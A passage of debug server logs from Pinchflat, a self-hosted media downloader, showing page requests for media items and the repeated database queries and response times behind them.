s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:31.134 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:31.134 [info] Sent 200 in 2ms 17:41:31.265 [info] GET /sources/28/media/1573994/edit 17:41:31.265 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1573994", "source_id" => "28"} Pipelines: [:browser] 17:41:31.265 [debug] QUERY OK source="media_items" db=0.1ms idle=132.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1573994] 17:41:31.266 [debug] QUERY OK source="settings" db=0.0ms idle=132.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:31.266 [debug] QUERY OK source="settings" db=0.0ms idle=132.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:31.266 [debug] QUERY OK source="settings" db=0.0ms idle=132.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:31.266 [info] Sent 200 in 1ms 17:41:31.768 [info] GET /sources/45/media/1577337 17:41:31.769 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577337", "source_id" => "45"} Pipelines: [:browser] 17:41:31.769 [debug] QUERY OK source="media_items" db=0.1ms idle=503.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577337] 17:41:31.769 [debug] QUERY OK source="sources" db=0.0ms idle=503.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [45] 17:41:31.769 [debug] QUERY OK source="tasks" db=0.1ms idle=503.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577337] 17:41:31.769 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=503.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5233022] 17:41:31.770 [debug] QUERY OK source="settings" db=0.0ms idle=434.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:31.770 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:31.770 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:31.770 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:31.771 [info] Sent 200 in 2ms 17:41:32.278 [info] GET /sources/1/media/1576252/edit 17:41:32.278 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1576252", "source_id" => "1"} Pipelines: [:browser] 17:41:32.279 [debug] QUERY OK source="media_items" db=0.1ms idle=509.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1576252] 17:41:32.279 [debug] QUERY OK source="settings" db=0.0ms idle=509.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:32.279 [debug] QUERY OK source="settings" db=0.0ms idle=509.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:32.279 [debug] QUERY OK source="settings" db=0.0ms idle=509.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:32.280 [info] Sent 200 in 1ms 17:41:32.780 [info] GET /sources/45/media/1577883 17:41:32.780 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577883", "source_id" => "45"} Pipelines: [:browser] 17:41:32.781 [debug] QUERY OK source="media_items" db=0.1ms idle=501.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577883] 17:41:32.781 [debug] QUERY OK source="tasks" db=0.1ms idle=501.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577883] 17:41:32.781 [debug] QUERY OK source="sources" db=0.1ms idle=501.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [45] 17:41:32.781 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=501.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5255507] 17:41:32.781 [debug] QUERY OK source="settings" db=0.0ms idle=445.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:32.781 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:32.782 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:32.782 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:32.783 [info] Sent 200 in 2ms 17:41:33.282 [info] GET /sources/45/media/1577637/edit 17:41:33.282 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577637", "source_id" => "45"} Pipelines: [:browser] 17:41:33.283 [debug] QUERY OK source="media_items" db=0.2ms idle=501.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577637] 17:41:33.283 [debug] QUERY OK source="settings" db=0.1ms idle=501.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:33.283 [debug] QUERY OK source="settings" db=0.1ms idle=501.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:33.284 [debug] QUERY OK source="settings" db=0.1ms idle=501.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:33.284 [info] Sent 200 in 1ms 17:41:33.783 [info] GET /sources/6/media/1577890/edit 17:41:33.783 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577890", "source_id" => "6"} Pipelines: [:browser] 17:41:33.784 [debug] QUERY OK source="media_items" db=0.1ms idle=500.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577890] 17:41:33.784 [debug] QUERY OK source="settings" db=0.0ms idle=500.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:33.784 [debug] QUERY OK source="settings" db=0.0ms idle=500.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:33.784 [debug] QUERY OK source="settings" db=0.0ms idle=500.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:33.785 [info] Sent 200 in 1ms 17:41:34.284 [info] GET /sources/1/media/1577481 17:41:34.284 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577481", "source_id" => "1"} Pipelines: [:browser] 17:41:34.285 [debug] QUERY OK source="media_items" db=0.1ms idle=947.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577481] 17:41:34.285 [debug] QUERY OK source="tasks" db=0.1ms idle=501.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577481] 17:41:34.285 [debug] QUERY OK source="sources" db=0.1ms idle=500.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:41:34.286 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=501.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5242044] 17:41:34.286 [debug] QUERY OK source="settings" db=0.0ms idle=501.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:34.286 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:34.287 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:34.287 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:34.288 [info] Sent 200 in 3ms 17:41:43.180 [info] GET /sources/28/media/1577466/edit 17:41:43.180 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577466", "source_id" => "28"} Pipelines: [:browser] 17:41:43.180 [debug] QUERY OK source="media_items" db=0.1ms idle=1833.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577466] 17:41:43.181 [debug] QUERY OK source="settings" db=0.0ms idle=1834.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:43.181 [debug] QUERY OK source="settings" db=0.0ms idle=1834.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:43.181 [debug] QUERY OK source="settings" db=0.0ms idle=1834.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:43.181 [info] Sent 200 in 1ms 17:41:43.224 [info] GET /sources/45/media/1577360 17:41:43.224 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577360", "source_id" => "45"} Pipelines: [:browser] 17:41:43.224 [debug] QUERY OK source="media_items" db=0.1ms idle=878.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577360] 17:41:43.225 [debug] QUERY OK source="tasks" db=0.1ms idle=44.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577360] 17:41:43.225 [debug] QUERY OK source="sources" db=0.1ms idle=44.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [45] 17:41:43.225 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=44.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5236407] 17:41:43.225 [debug] QUERY OK source="settings" db=0.0ms idle=44.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:43.225 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:43.226 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:43.226 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:43.227 [info] Sent 200 in 2ms 17:41:43.724 [info] GET /sources/1/media/1577480/edit 17:41:43.724 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577480", "source_id" => "1"} Pipelines: [:browser] 17:41:43.724 [debug] QUERY OK source="media_items" db=0.1ms idle=498.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577480] 17:41:43.725 [debug] QUERY OK source="settings" db=0.0ms idle=499.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:43.725 [debug] QUERY OK source="settings" db=0.1ms idle=499.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:43.725 [debug] QUERY OK source="settings" 